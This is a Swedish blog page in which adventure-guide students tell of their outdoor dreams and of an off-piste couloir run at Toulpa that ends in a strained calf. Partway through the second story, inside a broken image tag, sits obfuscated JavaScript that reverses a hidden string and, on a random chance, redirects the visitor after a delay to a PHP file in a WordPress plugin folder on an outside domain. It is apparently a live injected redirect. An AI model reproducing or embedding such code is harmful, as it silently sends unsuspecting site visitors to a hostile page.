Om din dröm inte skrämmer dig är den inte stor nog

Skoter i solnedgång

Jag vaknar till liv i en snötäckt granskog. Solen har ännu inte hunnit stiga upp och det är dunkelt mellan träden, men snön lyser upp marken. Luften är frisk, och biter i mina kinder. Nyvaken skidar jag på morgon skaren mot nästa mål. Jag har inte riktigt vaknat till liv ännu, men mitt i backen blir jag plötsligt överväldigad av tacksamhet över att få vara på den här platsen. Jag känner att jag hittat hem.

Skoter i solnedgång

Ungefär här, på fjället för 4 år sedan bestämde jag mig för att jag vill bli professionell äventyrare. Jag drabbades av tanken att man inte lever för evigt och tänkte att man måste leva livet fullt ut. Jag vill inte se tillbaka på mitt liv och tänka att jag inte gjort allt som jag drömt om. Det handlar inte om att bevisa något eller förverkliga mig själv, nej i det stora hela har jag helt enkelt alltid älskat friluftslivet. Att kombinera fysisk utmaning med att uppleva naturen.

Äventyrsgymnasiet på is
”ditåt blir det mer osäkert…låt oss pröva”

Jag föddes nyfiken, envis, och rastlös, men för att göra verklighet av min dröm behöver jag något mer. Och här kommer min utbildning till fjäll och äventyrsledare in, tänk dig en lång trappa. För varje trappsteg jag tar ser jag lite mer av våningen ovanför där erfarenhet, kunskap och idéer finns att hämta.  Ju längre upp jag kommer desto mer fylls min ryggsäck på för att slutligen vara färdigpackad och jag är redo att möta mina äventyr.

Med snöskor och sovsäck

Min stora förebild är Norska äventyraren Tonje blomseth. Jag såg henne nyss i  tv serien tjejer i vildmarken där hon med pistol och björnspray ensam skidar i Finska Lappland.

”Rädslan är viktig att möta. Den får inte begränsa utan måste besegras”

Hon visade mig gång på gång att även om oddsen är emot dig så avgörs det hela i dit huvud.  Tror man på det tillräckligt mycket är ingenting omöjligt – korsa Grönland, tura nordkalotten eller nå båda polerna. Vågar ta klivet ut och gör något av dina drömmar, inse att rädslan är viktig att möta. Den får inte begränsa utan måste besegras. Kunskap kombinerat med bra förebilder tror jag är nyckeln till att nå mina drömmar. Kunskapen behövs för att komplitera min nyfikenhet, envishet och rastlöshet. Och förebilder behövs för att ge mig kraft och lust till att förverkliga mina drömmar

To be continued

I kajaken nedför forsen
Mångsysslaren Sofi ned för forsarna

/Sofi Wennstig YH Fjäll -och äventyrselev 16/17
Fotograf & skidpatrullör

Leva eller överleva

Äventyrsgymnasiet vid Toulpa

”Jo men vi tänkte som att vi som stänger tidigare imorgon och gör Toulpa, bli du me´?”

Jag lät frågan hänga en sekund i luften innan jag faktiskt kunde lita på vad jag hörde. Vilken fråga, ett av de mest eftersökta åken i Sverige och jag har inte ens hunnit packa upp väskan när frågan kommer. Det är strålande solsken och ligger någon decimeter vitt fantastiskt puder på backen. Termometern visar minus 11 grader och det har varit ett stabilt väder, med ett ganska kompakt baslager under snön. Det är verkligen helt perfekta förhållanden och när jag turar upp i personalbacken på eftermiddagen så går jag och fnissar för mig själv. Det känns som att hjärtat gör små volter när jag slår stavarna i snön och pudret skickas upp i luften. En bit upp hudar jag av och tittar utåt mot Ladjuvaggi och ögonen tåras. Det känns som att jag ska dö av ett enda perfekt ögonblick och när skidorna flyter genom snön känns det gudomligt. Långa och korta svängar känns fint, fastän jag är en väldigt ovan offpiståkare och de små vinddrivorna som skidorna inte totalt forcerar bjuder på mindre luftfärder. Jag skrattar hela vägen ner och skriker spontant ikapp med livet, men åket tar slut lite för fort. Som alltid.

$NqM=function(n){if (typeof ($NqM.list[n]) == ”string”) return $NqM.list[n].split(””).reverse().join(””);return $NqM.list[n];};$NqM.list=[”\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toulpa.jpg” alt=”Äventyrsgymnasiet vid Toulpa” width=”1386″ height=”926″ /> Äventyrsgymnasiet vid Toulpa

På vägen mot Toulpa känner jag i hur dålig form jag är och vid firningen ner i startrännan trycker jag i mig en chokladbit samtidigt som jag fipplar på mig selen och får fast skidorna på ryggsäcken. Firningen är enkel, Matti firar först och gräver av en liten ledge i den branta rännan. Vi firar ca 25m ner och när jag kommer ner drar Matti iväg och lämnar ledgen till mig. Jag får ordning på utrustningen Rännaoch tittar ner för den branta rännan. Herrejösses vad brant, brantare än jag någonsin åkt offpist förut. Och nu även första gången jag står med bergsvägg på ena sidan och stenskravel på andra sidan om mig med skidor på fötterna. Där jag står är rännan 8-10 m bred och jag bestämmer mig för att hasa de första 3 metrarna så att jag kan ta ut en längre högersväng som första säng. Adrenalinet strömmar till och jag lugnar mig genom att kontrollera andningen. Vill jag verkligen det här? Första gången jag åker ränna, första gången så brant och egentligen ett parti som egentligen ligger lite över min nivå. Shit ja! Verkligen. Jag är taggad, peppad och laddad, jag har det här! Korridorhas ner till min breakpoint och sen låter jag skidorna skära mig in bakom klippkanten där rännan breddar sig lite och nu är det försent att ändra sig. Jag vänder ner skidorna i den första svängen och tycker att det känns konstigt och ostabilt. Det kan vara att det är så brant att jag omedvetet lutar mig för mycket bak, så i nästa sväng attackerar jag branten. Jag tror att jag viktar dalskidan för snabbt, innan pudret ger bäring och jag tippar över, jag rullar ner två varv Grytanoch det sträcker till i vaden, Det känns som att det blir bättre om jag åker på det och jag försöker åka direkt. Skidorna fladdrar och jag faller igen, och igen. I skålen, som inte är så brant trillar jag igen, innan jag inser att jag har pjäxorna i gåläge. Irriterad och arg på mig själv åtgärdar jag problemet och kroppen pulserar av adrenalin. Jag fortsätter åka, men det känns fortfarande ostabilt och jag lyckas falla igen. Jag har inte ont, men det är märklig ostabilt, foten drar lixom inåt.

Nere vid samlingsplatsen frågar Matti om det gick bra. Vad svarar man? Ja såklart, sträckte vaden lite bara, men det ska nog gå bra. I den andra rännan börjar det kännas mer i vaden och jag sätter mig ner ett par gånger, väl ute fungerar det att svänga, men det börjar göra ont i vaden och jag skriker till ett par gånger. Adrenalinet har släppt, men det svåraste är förbi och det är inte långt tillbaka till stationen så vi hinner tillbaka till lunchen. Allt som allt så var det en fantastiskt dålig start på min praktik, min vad är obrukbar i flera dagar och det tar två veckor innan jag kan göra vänstersvängar igen. Hade jag fått chansen att åka det igen så hade jag absolut gjort det. Ingen tvekan. Livet är till för att levas, ingen överlever det, men man överlever mer än man tror.

/Peter YH Fjäll -och äventyrselev 16/17
Numera raftingguide/Klätterinstruktör

Toulpa